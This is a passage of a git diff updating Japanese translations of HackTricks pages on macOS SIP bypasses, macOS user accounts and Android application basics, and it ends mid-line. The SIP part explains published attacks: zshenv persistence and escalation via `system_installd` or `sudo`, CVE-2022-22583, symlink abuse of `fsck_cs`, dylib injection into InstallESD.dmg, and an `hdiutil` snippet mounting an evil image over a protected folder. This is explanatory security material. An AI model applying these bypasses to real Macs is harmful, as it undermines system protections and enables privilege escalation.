+研究者たちは、Apple署名のパッケージ(.pkgファイル)のインストール中に、**`system_installd`**がパッケージに含まれる**post-install**スクリプトを**実行**することを発見しました。これらのスクリプトはデフォルトのシェルである**`zsh`**によって実行され、存在する場合は非対話モードでも**`/etc/zshenv`**ファイルからコマンドを自動的に**実行**します。この動作は攻撃者によって悪用される可能性があります:悪意のある`/etc/zshenv`ファイルを作成し、**`system_installd`が`zsh`を呼び出すのを待つ**ことで、デバイス上で任意の操作を実行できます。 さらに、**`/etc/zshenv`は一般的な攻撃手法として使用できることが発見されました**。各ユーザープロファイルには`~/.zshenv`ファイルがあり、これは`/etc/zshenv`と同様に動作しますが、ルート権限は必要ありません。このファイルは持続性メカニズムとして使用され、`zsh`が起動するたびにトリガーされるか、特権昇格メカニズムとして使用される可能性があります。管理者ユーザーが`sudo -s`または`sudo `を使用してルートに昇格すると、`~/.zshenv`ファイルがトリガーされ、実質的にルートに昇格します。 #### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) -[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)では、同じ**`system_installd`**プロセスが悪用される可能性があることが発見されました。なぜなら、**post-installスクリプトをSIPによって保護されたランダムに名付けられたフォルダー内に配置していたからです**。問題は、**`/tmp`自体はSIPによって保護されていないため**、**仮想イメージをマウント**することが可能であり、その後**インストーラー**が**post-installスクリプト**をそこに配置し、**仮想イメージをアンマウント**し、すべての**フォルダーを再作成**し、**ペイロード**を実行する**post installation**スクリプトを追加することができたことです。 +[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)では、同じ**`system_installd`**プロセスが悪用される可能性があることが発見されました。なぜなら、**post-installスクリプトをSIPによって保護されたランダムに名付けられたフォルダー内の`/tmp`に配置していたからです**。問題は、**`/tmp`自体はSIPによって保護されていないため**、**仮想イメージをマウント**し、その後**インストーラー**が**post-installスクリプト**をそこに配置し、**仮想イメージをアンマウント**し、すべての**フォルダーを再作成**し、**ペイロード**を実行する**post installation**スクリプトを追加することが可能だったことです。 -#### [fsck\_csユーティリティ](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/) +#### [fsck\_cs utility](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/) **`fsck_cs`**が重要なファイルを破損させるように誤導される脆弱性が特定されました。これは、**シンボリックリンク**をたどる能力によるものでした。具体的には、攻撃者は`/dev/diskX`から`/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`へのリンクを作成しました。**`fsck_cs`**を`/dev/diskX`で実行すると、`Info.plist`が破損しました。このファイルの整合性は、カーネル拡張の読み込みを制御するオペレーティングシステムのSIP(システム整合性保護)にとって重要です。一度破損すると、SIPのカーネル除外を管理する能力が損なわれます。 @@ -158,7 +145,7 @@ reboot #### [SIP保護フォルダ上にマウント](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship) -**保護を回避するためにSIP保護フォルダ上に新しいファイルシステムをマウントする**ことが可能でした。 +**保護を回避するためにSIP保護フォルダ上に新しいファイルシステムをマウントすることが可能でした。** ```bash mkdir evil # Add contento to the folder @@ -173,7 +160,7 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg ``` このプロセスのセキュリティは、攻撃者がブート前にアップグレードイメージ(`InstallESD.dmg`)を変更すると危険にさらされる可能性があります。この戦略は、動的ローダー(dyld)を悪意のあるバージョン(`libBaseIA.dylib`)に置き換えることを含みます。この置き換えにより、インストーラーが開始されると攻撃者のコードが実行されます。 -攻撃者のコードはアップグレードプロセス中に制御を取得し、インストーラーに対するシステムの信頼を悪用します。攻撃は、`InstallESD.dmg`イメージをメソッドスウィズリングを通じて変更することによって進行し、特に`extractBootBits`メソッドをターゲットにします。これにより、ディスクイメージが使用される前に悪意のあるコードを注入することが可能になります。 +攻撃者のコードはアップグレードプロセス中に制御を取得し、インストーラーに対するシステムの信頼を利用します。攻撃は、`InstallESD.dmg`イメージをメソッドスウィズリングを通じて変更することによって進行し、特に`extractBootBits`メソッドをターゲットにします。これにより、ディスクイメージが使用される前に悪意のあるコードを注入することが可能になります。 さらに、`InstallESD.dmg`内には、アップグレードコードのルートファイルシステムとして機能する`BaseSystem.dmg`があります。ここに動的ライブラリを注入することで、悪意のあるコードはOSレベルのファイルを変更できるプロセス内で動作することができ、システムの危険性が大幅に増加します。 @@ -199,17 +186,17 @@ and it was possible to crate a symlink in `${SHARED_SUPPORT_PATH}/SharedSupport. この特定のケースでは、`/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` にあるシステム XPC サービスがこの権限を持っています。これにより、関連するプロセスは SIP 制約を回避できます。さらに、このサービスは、セキュリティ対策を強制せずにファイルを移動することを許可する方法を提供します。 -## シールされたシステムスナップショット +## シールドされたシステムスナップショット -シールされたシステムスナップショットは、Apple が **macOS Big Sur (macOS 11)** で導入した機能で、**システム整合性保護 (SIP)** メカニズムの一部として、追加のセキュリティとシステムの安定性を提供します。これらは本質的にシステムボリュームの読み取り専用バージョンです。 +シールドされたシステムスナップショットは、Apple が **macOS Big Sur (macOS 11)** で導入した機能で、**システム整合性保護 (SIP)** メカニズムの一部として、追加のセキュリティとシステムの安定性を提供します。これらは本質的にシステムボリュームの読み取り専用バージョンです。 -以下は、より詳細な説明です: +以下は詳細です: -1. **不変のシステム**: シールされたシステムスナップショットは、macOS システムボリュームを「不変」にし、変更できないようにします。これにより、セキュリティやシステムの安定性を損なう可能性のある不正または偶発的な変更を防ぎます。 +1. **不変のシステム**: シールドされたシステムスナップショットは、macOS システムボリュームを「不変」にし、変更できないようにします。これにより、セキュリティやシステムの安定性を損なう可能性のある不正または偶発的な変更を防ぎます。 2. **システムソフトウェアの更新**: macOS の更新やアップグレードをインストールすると、macOS は新しいシステムスナップショットを作成します。macOS の起動ボリュームは、その後 **APFS (Apple File System)** を使用してこの新しいスナップショットに切り替えます。更新を適用するプロセス全体が安全で信頼性が高くなり、更新中に何か問題が発生した場合でも、システムは常に前のスナップショットに戻ることができます。 -3. **データの分離**: macOS Catalina で導入されたデータとシステムボリュームの分離の概念と組み合わせて、シールされたシステムスナップショット機能は、すべてのデータと設定が別の「**データ**」ボリュームに保存されることを保証します。この分離により、データがシステムから独立し、システムの更新プロセスが簡素化され、システムのセキュリティが向上します。 +3. **データの分離**: macOS Catalina で導入されたデータとシステムボリュームの分離の概念と組み合わせて、シールドされたシステムスナップショット機能は、すべてのデータと設定が別の「**データ**」ボリュームに保存されることを保証します。この分離により、データはシステムから独立し、システムの更新プロセスが簡素化され、システムのセキュリティが向上します。 -これらのスナップショットは macOS によって自動的に管理され、APFS のスペース共有機能のおかげでディスク上に追加のスペースを占有しません。また、これらのスナップショットは、ユーザーがアクセス可能なシステム全体のバックアップである **Time Machine スナップショット** とは異なることに注意することが重要です。 +これらのスナップショットは macOS によって自動的に管理され、APFS のスペース共有機能のおかげでディスク上に追加のスペースを占有しません。また、これらのスナップショットは、システム全体のユーザーアクセス可能なバックアップである **Time Machine スナップショット** とは異なることに注意することが重要です。 ### スナップショットの確認 @@ -252,11 +239,11 @@ and it was possible to crate a symlink in `${SHARED_SUPPORT_PATH}/SharedSupport. | FileVault: Yes (Unlocked) -前の出力では、**ユーザーがアクセス可能な場所** が `/System/Volumes/Data` にマウントされていることがわかります。 +前の出力では、**ユーザーアクセス可能な場所** が `/System/Volumes/Data` にマウントされていることがわかります。 -さらに、**macOS システムボリュームスナップショット** は `/` にマウントされており、**シールされています**(OS によって暗号的に署名されています)。したがって、SIP がバイパスされて変更されると、**OS はもう起動しません**。 +さらに、**macOS システムボリュームスナップショット** は `/` にマウントされており、**シールドされています**(OS によって暗号的に署名されています)。したがって、SIP がバイパスされて変更されると、**OS はもう起動しません**。 -また、シールが有効であることを確認することも可能です: +また、シールが有効であることを確認することも可能です。 ```bash csrutil authenticated-root status Authenticated Root status: enabled @@ -266,28 +253,17 @@ Authenticated Root status: enabled mount /dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled) ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** に基づいた検索エンジンで、企業やその顧客が **スティーラーマルウェア** によって **侵害** されているかどうかを確認するための **無料** 機能を提供しています。 - -WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックして、**無料** でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -AWS ハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP ハッキングを学び、練習する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) に、または **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** -* **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を送信してください。 +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index e429c9b27..9477d37c7 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -1,71 +1,56 @@ -# macOS ユーザー +# macOS Users {% hint style="success" %} -AWSハッキングの学習と練習:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングの学習と練習: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksをサポートする +Support HackTricks -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。 +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) -
+### Common Users -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 - -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** - -### 一般ユーザー - -* **Daemon**: システムデーモン用に予約されたユーザー。デフォルトのデーモンアカウント名は通常"\_"で始まります: +* **Daemon**: システムデーモン用に予約されたユーザー。デフォルトのデーモンアカウント名は通常「\_」で始まります: ```bash _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs ``` * **Guest**: 非常に厳しい権限を持つゲスト用アカウント - -{% code overflow="wrap" %} ```bash state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess") for i in "${state[@]}"; do sysadminctl -"${i}" status; done; ``` {% endcode %} -* **Nobody**: 最小限の権限が必要な場合にこのユーザーでプロセスが実行されます -* **Root** +* **誰も**: 最小限の権限が必要なときにこのユーザーでプロセスが実行されます +* **ルート** ### ユーザー権限 -* **Standard User:** 最も基本的なユーザーです。このユーザーはソフトウェアをインストールしたり他の高度なタスクを実行しようとする際に管理者ユーザーから権限を付与される必要があります。自分自身ではそれを行うことはできません。 -* **Admin User**: 通常は標準ユーザーとして操作するユーザーですが、ソフトウェアのインストールやその他の管理タスクなどの root 操作を実行することも許可されています。管理者グループに属するすべてのユーザーは **sudoers ファイルを介して root へのアクセス** を与えられます。 -* **Root**: Root はほとんどのアクションを実行できるユーザーです(システムインテグリティ保護などによる制限があります)。 -* たとえば root は `/System` 内にファイルを配置することはできません +* **標準ユーザー:** 最も基本的なユーザー。このユーザーは、ソフトウェアをインストールしたり、他の高度なタスクを実行しようとする際に、管理者ユーザーからの権限が必要です。自分自身ではそれを行うことができません。 +* **管理者ユーザー**: 大部分の時間を標準ユーザーとして操作しますが、ソフトウェアのインストールやその他の管理タスクなどのルートアクションを実行することも許可されています。管理者グループに属するすべてのユーザーは**sudoersファイルを介してルートにアクセスが与えられます**。 +* **ルート**: ルートはほぼすべてのアクションを実行することが許可されているユーザーです(System Integrity Protectionのような保護によって制限があります)。 +* 例えば、ルートは`/System`内にファイルを置くことはできません。 {% hint style="success" %} -AWS ハッキングの学習と実践:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP ハッキングの学習と実践: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricks のサポート +Support HackTricks -* [**購読プラン**](https://github.com/sponsors/carlospolop)をチェック! -* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローしてください。** -* ハッキングトリックを共有するために [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出してください。 +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/mobile-pentesting/android-app-pentesting/android-applications-basics.md index b775a28d6..407187bba 100644 --- a/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -15,20 +15,12 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Android Security Model **二つのレイヤーがあります:** * **OS**は、インストールされたアプリケーションを互いに隔離します。 -* **アプリケーション自体**は、開発者が**特定の機能を公開**し、アプリケーションの機能を構成することを可能にします。 +* **アプリケーション自体**は、開発者が**特定の機能を公開**し、アプリケーションの機能を設定することを可能にします。 ### UID Separation @@ -36,8 +28,8 @@ Learn & practice GCP Hacking: @@ -175,7 +167,7 @@ The **Action** of the previously declared intent is **ACTION\_SEND** and the **E ```java Intent downloadIntent = new (this, DownloadService.class): ``` -他のアプリケーションでは、以前に宣言されたインテントにアクセスするために、次のように使用できます: +他のアプリケーションでは、以前に宣言されたインテントにアクセスするために次のように使用できます: ```java Intent intent = new Intent(); intent.setClassName("com.other.app", "com.other.app.ServiceName"); @@ -187,14 +179,14 @@ context.startService(intent); ### Broadcast Intents -前述のインテントとは異なり、1つのアプリだけが受信するのではなく、ブロードキャストインテントは**複数のアプリで受信可能です**。ただし、APIバージョン14以降は、**メッセージを受信すべきアプリを指定することが可能です**。Intent.setPackageを使用します。 +前のインテントとは異なり、1つのアプリだけが受信するのではなく、ブロードキャストインテントは**複数のアプリで受信可能です**。ただし、APIバージョン14以降は、**メッセージを受信するアプリを指定することが可能です**。Intent.setPackageを使用します。 また、ブロードキャストを送信する際に**権限を指定することも可能です**。受信アプリはその権限を持っている必要があります。 ブロードキャストには**2種類**があります:**通常**(非同期)と**順序付き**(同期)。**順序**は**受信者要素内の設定された優先度**に基づいています。**各アプリはブロードキャストを処理、転送、または破棄することができます**。 `Context`クラスの関数`sendBroadcast(intent, receiverPermission)`を使用して**ブロードキャストを送信**することが可能です。\ -また、**`LocalBroadCastManager`**の**`sendBroadcast`**関数を使用すると、**メッセージがアプリを出ることはありません**。これを使用すると、受信者コンポーネントをエクスポートする必要すらありません。 +また、**`LocalBroadCastManager`**の**`sendBroadcast`**関数を使用すると、**メッセージがアプリを離れないことが保証されます**。これを使用すると、受信者コンポーネントをエクスポートする必要すらありません。 ### Sticky Broadcasts @@ -222,7 +214,7 @@ Androidアプリケーションでは、**ディープリンク**を使用して ``` 前の例のスキームは `exampleapp://` です(**`category BROWSABLE`** も注意してください) -次に、データフィールドで **host** と **path** を指定できます: +次に、データフィールドで **host** と **path** を指定できます: ```xml ``` -すべてのアプリがランチャーアクティビティを必要とするわけではなく、特にユーザーインターフェースを持たないバックグラウンドサービスのようなアプリは必要ありません。 +すべてのアプリがランチャーアクティビティを必要とするわけではなく、特にユーザーインターフェースのないバックグラウンドサービスのようなアプリは必要ありません。 アクティビティは、マニフェストで「exported」としてマークすることで、他のアプリやプロセスに利用可能にすることができます。この設定により、他のアプリがこのアクティビティを開始できるようになります: ```markdown @@ -298,7 +290,7 @@ super.onCreate(); [Services](https://developer.android.com/guide/components/services) は **バックグラウンドオペレーティブ** であり、ユーザーインターフェースなしでタスクを実行することができます。これらのタスクは、ユーザーが異なるアプリケーションに切り替えても実行を続けることができるため、サービスは **長時間実行される操作** にとって重要です。 -サービスは多用途であり、さまざまな方法で開始できますが、**Intents** がアプリケーションのエントリーポイントとしてサービスを起動する主な方法です。`startService` メソッドを使用してサービスが開始されると、その `onStart` メソッドが動作を開始し、`stopService` メソッドが明示的に呼び出されるまで実行を続けます。あるいは、サービスの役割がアクティブなクライアント接続に依存している場合、`bindService` メソッドを使用してクライアントをサービスにバインドし、データの受け渡しのために `onBind` メソッドが呼び出されます。 +サービスは多用途であり、さまざまな方法で開始できますが、**Intents** がアプリケーションのエントリーポイントとしてサービスを起動する主な方法です。`startService` メソッドを使用してサービスが開始されると、その `onStart` メソッドが動作を開始し、`stopService` メソッドが明示的に呼び出されるまで実行を続けます。あるいは、サービスの役割がアクティブなクライアント接続に依存している場合、`bindService` メソッドを使用してクライアントをサービスにバインドし、データの受け渡しのために `onBind` メソッドを呼び出します。 サービスの興味深い応用には、バックグラウンドでの音楽再生やネットワークデータの取得が含まれ、ユーザーがアプリと対話することを妨げません。さらに、サービスは **エクスポート** を通じて同じデバイス上の他のプロセスにアクセス可能にすることができます。これはデフォルトの動作ではなく、Android Manifestファイルで明示的な設定が必要です: ```xml @@ -306,21 +298,21 @@ super.onCreate(); ``` ### Broadcast Receivers -**Broadcast receivers** は、メッセージングシステムにおけるリスナーとして機能し、複数のアプリケーションがシステムからの同じメッセージに応答できるようにします。アプリは **二つの主要な方法** で **レシーバーを登録** できます:アプリの **Manifest** を通じて、またはアプリのコード内で **`registerReceiver`** API を介して **動的に**。Manifest では、ブロードキャストは権限でフィルタリングされ、動的に登録されたレシーバーは登録時に権限を指定することもできます。 +**Broadcast receivers** は、メッセージングシステムにおけるリスナーとして機能し、複数のアプリケーションがシステムからの同じメッセージに応答できるようにします。アプリは **Manifest** を通じて、または **`registerReceiver`** API を介してアプリのコード内で **2つの主要な方法** で **レシーバーを登録** できます。Manifest では、ブロードキャストは権限でフィルタリングされ、動的に登録されたレシーバーは登録時に権限を指定することもできます。 -**Intent フィルター** は、両方の登録方法において重要で、どのブロードキャストがレシーバーをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバーの **`onReceive`** メソッドが呼び出され、アプリが低バッテリーアラートに応じて動作を調整するなど、適切に反応できるようになります。 +**Intent フィルター** は、両方の登録方法で重要であり、どのブロードキャストがレシーバーをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバーの **`onReceive`** メソッドが呼び出され、アプリが低バッテリーアラートに応じて動作を調整するなど、適切に反応できるようになります。 -ブロードキャストは **非同期** で、すべてのレシーバーに順序なしで到達することもあれば、**同期** で、レシーバーが設定された優先順位に基づいてブロードキャストを受け取ることもあります。ただし、どのアプリでも自分を優先させてブロードキャストを傍受できるため、潜在的なセキュリティリスクに注意することが重要です。 +ブロードキャストは **非同期** であり、すべてのレシーバーに順序なしで到達することも、**同期** であり、レシーバーが設定された優先順位に基づいてブロードキャストを受け取ることもできます。ただし、任意のアプリが自分自身を優先させてブロードキャストを傍受できる可能性があるため、潜在的なセキュリティリスクに注意することが重要です。 -レシーバーの機能を理解するには、そのクラス内の **`onReceive`** メソッドを探します。このメソッドのコードは受信した Intent を操作でき、特に **Ordered Broadcasts** では、Intent を変更または削除する必要があるため、レシーバーによるデータ検証の必要性が強調されます。 +レシーバーの機能を理解するには、そのクラス内の **`onReceive`** メソッドを探してください。このメソッドのコードは受信した Intent を操作でき、特に **Ordered Broadcasts** では、データの検証がレシーバーによって必要であることを強調しています。Ordered Broadcasts は Intent を変更または削除することができます。 ### Content Provider -**Content Providers** は、アプリ間で **構造化データを共有する** ために不可欠であり、データセキュリティを確保するために **権限** を実装する重要性を強調します。これにより、アプリはデータベース、ファイルシステム、またはウェブなど、さまざまなソースからデータにアクセスできます。特定の権限、例えば **`readPermission`** と **`writePermission`** は、アクセスを制御するために重要です。さらに、一時的なアクセスは、アプリのマニフェスト内の **`grantUriPermission`** 設定を通じて付与でき、`path`、`pathPrefix`、および `pathPattern` などの属性を利用して詳細なアクセス制御を行います。 +**Content Providers** は、アプリ間で **構造化データを共有する** ために不可欠であり、データセキュリティを確保するために **権限** を実装する重要性を強調しています。これにより、アプリはデータベース、ファイルシステム、またはウェブなど、さまざまなソースからデータにアクセスできます。特定の権限、例えば **`readPermission`** と **`writePermission`** は、アクセスを制御するために重要です。さらに、一時的なアクセスは、アプリのマニフェスト内の **`grantUriPermission`** 設定を通じて付与でき、`path`、`pathPrefix`、および `pathPattern` などの属性を利用して詳細なアクセス制御を行います。 -入力検証は、SQL インジェクションなどの脆弱性を防ぐために重要です。Content Providers は、データ操作とアプリケーション間の共有を促進する基本的な操作をサポートします:`insert()`、`update()`、`delete()`、および `query()`。 +入力検証は、SQL インジェクションなどの脆弱性を防ぐために重要です。Content Providers は、データ操作とアプリケーション間の共有を促進する基本的な操作をサポートしています:`insert()`、`update()`、`delete()`、および `query()`。 -**FileProvider** は、ファイルを安全に共有することに特化した Content Provider です。これは、フォルダーへのアクセスを制御するための特定の属性を持ってアプリのマニフェストで定義され、`android:exported` と `android:resource` がフォルダー構成を指します。機密データを誤って公開しないように、ディレクトリを共有する際には注意が必要です。 +**FileProvider** は、ファイルを安全に共有することに特化した Content Provider です。フォルダーへのアクセスを制御するために特定の属性を持ってアプリのマニフェストに定義され、`android:exported` と `android:resource` がフォルダー構成を指します。機密データが偶然に露出しないように、ディレクトリを共有する際には注意が必要です。 FileProvider の例のマニフェスト宣言: ```xml @@ -344,7 +336,7 @@ For further information check: ## WebViews -WebViewsはAndroidアプリ内の**ミニウェブブラウザ**のようなもので、ウェブまたはローカルファイルからコンテンツを取得します。通常のブラウザと同様のリスクに直面しますが、特定の**設定**を通じて**リスクを軽減する**方法があります。 +WebViewsはAndroidアプリ内の**ミニウェブブラウザ**のようなもので、ウェブまたはローカルファイルからコンテンツを取得します。通常のブラウザと同様のリスクに直面しますが、特定の**設定**を通じて**これらのリスクを軽減する**方法があります。 Androidは2つの主要なWebViewタイプを提供しています: @@ -353,28 +345,28 @@ Androidは2つの主要なWebViewタイプを提供しています: 重要な点は、WebViewブラウザはデバイスのメインブラウザと**クッキーを共有しない**ことです。 -コンテンツを読み込むために、````loadUrl````, ````loadData````, および ````loadDataWithBaseURL````などのメソッドが利用可能です。これらのURLまたはファイルが**安全に使用できる**ことを確認することが重要です。セキュリティ設定は````WebSettings````クラスを通じて管理できます。例えば、````setJavaScriptEnabled(false)````でJavaScriptを無効にすることで、XSS攻撃を防ぐことができます。 +コンテンツを読み込むために、````loadUrl````, ````loadData````, および ````loadDataWithBaseURL````などのメソッドが利用可能です。これらのURLまたはファイルが**安全に使用できる**ことを確認することが重要です。セキュリティ設定は````WebSettings````クラスを通じて管理できます。たとえば、````setJavaScriptEnabled(false)````でJavaScriptを無効にすることで、XSS攻撃を防ぐことができます。 JavaScriptの「ブリッジ」はJavaオブジェクトがJavaScriptと相互作用することを可能にし、Android 4.2以降はセキュリティのためにメソッドに````@JavascriptInterface````を付ける必要があります。 コンテンツアクセスを許可する(````setAllowContentAccess(true)````)ことで、WebViewsはContent Providersにアクセスできますが、コンテンツURLが安全であることを確認しない限りリスクがあります。 ファイルアクセスを制御するために: -- ファイルアクセスを無効にする(````setAllowFileAccess(false)````)ことで、ファイルシステムへのアクセスを制限し、特定のアセットに例外を設け、機密でないコンテンツのみに使用されることを保証します。 +- ファイルアクセスを無効にする(````setAllowFileAccess(false)````)ことで、ファイルシステムへのアクセスが制限され、特定のアセットに対して例外が設けられ、機密性のないコンテンツのみに使用されることが保証されます。 ## Other App Components and Mobile Device Management ### **Digital Signing of Applications** -- **デジタル署名**はAndroidアプリに必須で、インストール前に**正当に作成された**ことを保証します。このプロセスではアプリの識別のために証明書が使用され、インストール時にデバイスのパッケージマネージャーによって検証される必要があります。アプリは**自己署名または外部CAによって認証**され、不正アクセスから保護され、デバイスへの配信中にアプリが改ざんされないことを保証します。 +- **デジタル署名**はAndroidアプリに必須であり、インストール前に**真正に作成された**ことを保証します。このプロセスはアプリの識別のために証明書を使用し、インストール時にデバイスのパッケージマネージャーによって検証される必要があります。アプリは**自己署名または外部CAによって認証**され、無許可のアクセスから保護され、デバイスへの配信中にアプリが改ざんされないことを保証します。 ### **App Verification for Enhanced Security** -- **Android 4.2**以降、**Verify Apps**という機能により、ユーザーはインストール前にアプリの安全性を確認できます。この**検証プロセス**は、潜在的に有害なアプリに対してユーザーに警告を発したり、特に悪意のあるアプリのインストールを防いだりすることで、ユーザーのセキュリティを強化します。 +- **Android 4.2**以降、**Verify Apps**という機能により、ユーザーはアプリをインストール前に安全性を確認できます。この**検証プロセス**は、潜在的に有害なアプリに対してユーザーに警告を発したり、特に悪意のあるアプリのインストールを防いだりすることができ、ユーザーのセキュリティを強化します。 ### **Mobile Device Management (MDM)** -- **MDMソリューション**は、**デバイス管理API**を通じてモバイルデバイスの**監視とセキュリティ**を提供します。これにより、モバイルデバイスを効果的に管理および保護するためにAndroidアプリのインストールが必要です。主な機能には、**パスワードポリシーの強制**、**ストレージ暗号化の義務付け**、および**リモートデータ消去の許可**が含まれ、モバイルデバイスに対する包括的な制御とセキュリティを確保します。 +- 